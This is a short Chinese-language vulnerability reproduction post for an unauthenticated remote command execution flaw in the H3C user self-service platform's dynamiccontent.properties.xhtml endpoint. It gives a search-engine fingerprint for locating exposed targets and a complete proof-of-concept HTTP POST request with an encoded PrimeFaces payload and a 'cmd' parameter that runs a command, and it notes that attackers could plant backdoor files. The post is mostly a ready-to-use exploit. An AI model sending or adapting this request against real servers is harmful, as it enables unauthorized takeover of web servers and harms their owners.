# H3C 用户自助服务平台 dynamiccontent.properties.xhtml RCE漏洞复现

### 漏洞简介

H3C 用户自助服务平台 dynamiccontent.properties.xhtml 接口出存在命令执行漏洞，未经身份验证的攻击者可以利用此漏洞执行任意指令，写入后门文件，导致整个web服务器存在被控的风险。

### 漏洞复现

步骤一：使用以下搜索语法获取测试资产并确定测试目标

fid="tPmVs5PL6e9m5Xt0J4V2+A=="

步骤二：发送以下POC即可造成命令执行...结果在响应正文中获取!

POST /mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip  
  
pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=whoami

